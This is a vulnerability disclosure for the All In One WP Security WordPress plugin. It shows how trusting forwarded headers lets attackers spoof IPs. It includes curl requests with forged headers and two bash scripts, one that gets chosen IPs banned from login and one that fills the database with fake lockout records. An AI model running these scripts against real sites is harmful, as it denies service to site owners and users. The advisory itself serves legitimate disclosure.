DOS through IP spoofing – (All in One WP Security <= 5.0.7)

Affected pluginAll In One WP Security & Firewall
Active installs1+ million
Vulnerable version<= 5.0.7
Audited version5.0.7
Fully patched version
Recommended remediationRemoval of the plugin

Description


The plugin is wide open to IP spoofing, which an attacker can exploit to ban search engine crawlers, the site’s reverse proxy, or legitimate users.

Alternatively, an attacker can bring down the entire MySQL server by flooding the database with the entire IPv4 range.

Proof of concept


The plugin uses the AIOWPSecurity_Utility_IP::get_user_ip_address() method in all places that need access to the current request’s IP address.

public static function get_user_ip_address() {
   $user_ip = '';
   if (isset($_SERVER['HTTP_X_REAL_IP'])) {
      $user_ip = sanitize_text_field(wp_unslash($_SERVER['HTTP_X_REAL_IP']));
   } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
      // Proxy servers can send through this header like this: X-Forwarded-For: client1, proxy1, proxy2
      // Make sure we always only send through the first IP in the list which should always be the client IP.
      $user_ip = (string) rest_is_ip_address(trim(current(preg_split('/,/', sanitize_text_field(wp_unslash($_SERVER['HTTP_X_FORWARDED_FOR']))))));
   } elseif (isset($_SERVER['REMOTE_ADDR'])) {
      $user_ip = sanitize_text_field(wp_unslash($_SERVER['REMOTE_ADDR']));
   }
   if (in_array($user_ip, array('', '127.0.0.1', '::1'))) {
      $user_ip = self::get_external_ip_address();
   }
   return $user_ip;
}

This method is vulnerable to IP spoofing since it blindly trusts HTTP headers to contain truthful information.

This fact can be quickly verified using the following must-use plugin:

<?php
declare(strict_types=1);

unset($_SERVER['HTTP_X_REAL_IP']); // Unset X_REAL_IP in case you are using a local nginx server like laravel valet.

// wp-content/mu-plugins/aiowp-ip.php

if(!isset($_SERVER['HTTP_TEST_AIO_IP'])) {
    return;
}


$test_real_ip = '58.70.238.164'; // Set a fixed "real" user IP so that we all get the same outputs.
$_SERVER['REMOTE_ADDR'] = $test_real_ip;

add_action('plugins_loaded', function (){
    echo AIOWPSecurity_Utility_IP::get_user_ip_address();
    echo "\n";
    die();
});
curl -X GET https://site.test -H "TEST-AIO-IP: 1" -H "X-Forwarded-For: 66.249.66.67"
66.249.66.67

==> Spoofed one of Google-Bot’s IPs.

Attack vectors

We will demonstrate a few select attack vectors. However, there are many more since the plugin uses the spoofed IP in many security-related contexts.

1. Permanently getting a random IP banned

This attacker requires the following preconditions:

  • User registration must be enabled on the site.
  • Manual user registration review must be enabled in the plugin.

Now, submitting the following request will create a new user registration review.

curl -X POST "https://site.test/wp-login.php?action=register" -H "X-Forwarded-For: 66.249.66.67" -d "user_login=SPAMSPAM" -d "[email protected]"

Note that the IP address is the spoofed one that belongs to Google-Bot.

If the site administrator now blocks this obvious spam registration, the spoofed IP will be permanently banned from accessing the site.

The attacker was able to trick the site owner into banning one of Google’s crawlers from accessing his site, which will cause catastrophic damage to search engine rankings.

curl -I -X GET https://site.test -H "X-Forwarded-For: 66.249.66.67"
HTTP/2 302 
server: nginx/1.23.1
date: Sat, 10 Sep 2022 13:34:29 GMT
content-type: text/html; charset=UTF-8
location: http://127.0.0.1
x-powered-by: PHP/7.4.30

The 302 redirect to 127.0.0.1 confirms that the IP is indeed blocked. (Although we don’t know why the vendor chooses to redirect banned IPs to localhost)

2. Preventing certain IPs from logging in

#!/usr/bin/env bash

# block-ip-from-login.sh

IP="$1";
TOTAL="${2:-10}"
for ((i=1; i <= TOTAL; i++))
do
    curl -s -X POST https://site.test/wp-login.php \
    -H "X-Real-IP: $IP" \
    -d "log=admin" \
    -d "pwd=foo" > /dev/null
done
bash block-ip-from-login.sh 147.93.33.75

The spoofed IP is now banned from logging into the site.

Applications:

  • An attacker bans a targeted list of IPs. For example, banning your customer’s IP addresses at a competing site.
  • Banning a site’s reverse proxy (small IP ranges) from requesting the wp-login endpoint to cause a DOS for all users. This requires the attacker to find out the reverse proxy’s IP.

3. DOS on the MySQL server

The plugin will store failed login attempts for 90 days. Each unique IP will trigger the insertion of a new record.

The below bash script can be used to ban random IPs from logging in and slowly fill the database table with the entire range of IPv4 addresses.

#!/usr/bin/env bash

# dos-server.sh

TOTAL="${1:-100}"
SLEEP="$2:0.1"

for ((i=1; i <= TOTAL; i++))
do

  IP=$(printf "%d.%d.%d.%d\n" "$((RANDOM % 256))" "$((RANDOM % 256))" "$((RANDOM % 256))" "$((RANDOM % 256))")
  
  for (( i = 0; i < 4; i++ )); do
  
        curl -s -X POST https://site.test/wp-login.php \
        -H "X-Real-IP: $IP" \
        -d "log=admin" \
        -d "pwd=foo" > /dev/null
        
				sleep "$SLEEP"
 
  done
  
done

An attacker can bring down the database quickly if the target site does not have any network-level rate-limiting. However, even in the case of aggressive rate-limiting, an attacker can pull off the attack slowly and steadily since the plugin only prunes logs every 90 days.

bash dos-server.sh 100

Running the above command will insert almost 900 different records.

Furthermore, the site owner is now tricked into thinking that a distributed brute-force attack is taking place since each failed login comes from a different IP.

If the number of inserted records exceeds a certain threshold (depending on the server), the entire site will become unusable since the plugin runs the following code for every request:

AIOWPSecurity_Blocking::is_ip_blocked($visitor_ip);

This will ultimately run the following SQL query:

$blocked_record = $wpdb->get_row($wpdb->prepare('SELECT * FROM '.AIOWPSEC_TBL_PERM_BLOCK.' WHERE blocked_ip=%s', $ip_address));

The “blocked_ip” column does not have an index, meaning the query will result in a full table scan.

SHOW INDEXES FROM wp_aiowps_login_lockdown
wp_aiowps_login_lockdown	0	PRIMARY	1	id	A	1047	NULL	NULL		BTREE			YES	NULL

Proposed patch


The needed patch is described in great length in this article of us.

Summary: Only ever use REMOTE_ADDR to access to current IP.

Timeline


Vendor contactedSeptember 10, 2022
First ResponseSeptember 12, 2022
Fully patched at
Publicly disclosedApril 24, 2023

Miscellaneous


5 responses

  1. indigetal

    AIOS support has claimed that this issue has been resolved as of version 5.0.8 in September of 2022 that was released several weeks after the issue was reported to them that same month. The plugin is now in version 5.1.9. They added the following:

    “The REMOTE_ADDR if used as a method it will not be an issue. We provide in Settings > Advanced settings have this default method also note ‘The default is to use the REMOTE_ADDR PHP server variable. If this variable does not contain the visitor’s IP address, then whilst you can make a different selection below, it is better to ask your web hosting company to have it correctly set. This is the most secure setup, because when set correctly it is immune from being spoofed by an attacker.’”

    See https://wordpress.org/support/topic/4-unpatched-security-vulnerabiities-as-of-5-0-7-fixed-yet/ for more details.

    1. Thanks.

      Unfortunately, the provided patch is not sufficient.

      While this statement is true,

      “The REMOTE_ADDR if used as a method it will not be an issue.”

      Any other selection is still vulnerable, regardless of the hosting provider’s recommendation.

      We won’t spill the details publicly but will contact the AIOS team directly.

      Since you don’t seem to belong to AIOS, refer to this article of us if you are interested in further details.

      https://snicco.io/blog/how-to-safely-get-the-ip-address-in-a-wordpress-plugin

      1. indigetal

        Nope, I’m not affiliated with them, just a loyal – albeit burdensome – user of theirs. They’re one of the most responsive plugin developers that I’ve experienced and have always been quick to fix issues that I’ve raised within the next update or two without fail. I’ll be raising this issue with them as well and will watch this page for updates.

        Thanks!

      2. indigetal

        I’ve gotten a response from AIOS:
        “REMOTE_ADDR we have considered as default and best option and also provided the UI to show what host doing. Now they say it should not allow any thing else than REMOTE_ADDR and should educate need proper host.

        But Cloudflare do not provide correct visitor IP address using REMOTE_ADDR. and if it is used it will block user to itself. So in real situation we have to allow the other IP method also according to me.

        https://snipboard.io/VOp59B.jpg

        As per internal discussion also what best possible option to provide IP address detection has been worked on already and do not need change from our end.”

        1. They are wrong, but we won’t argue that anymore.

          Re-read:

          https://snicco.io/blog/how-to-safely-get-the-ip-address-in-a-wordpress-plugin

          and:

          https://adam-p.ca/blog/2022/03/x-forwarded-for/

          and then form your own opinion.

          If you select “REMOTE_ADDR” you are fine, if you select any option you are vulnerable.

Leave a Reply

Your email address will not be published. Required fields are marked *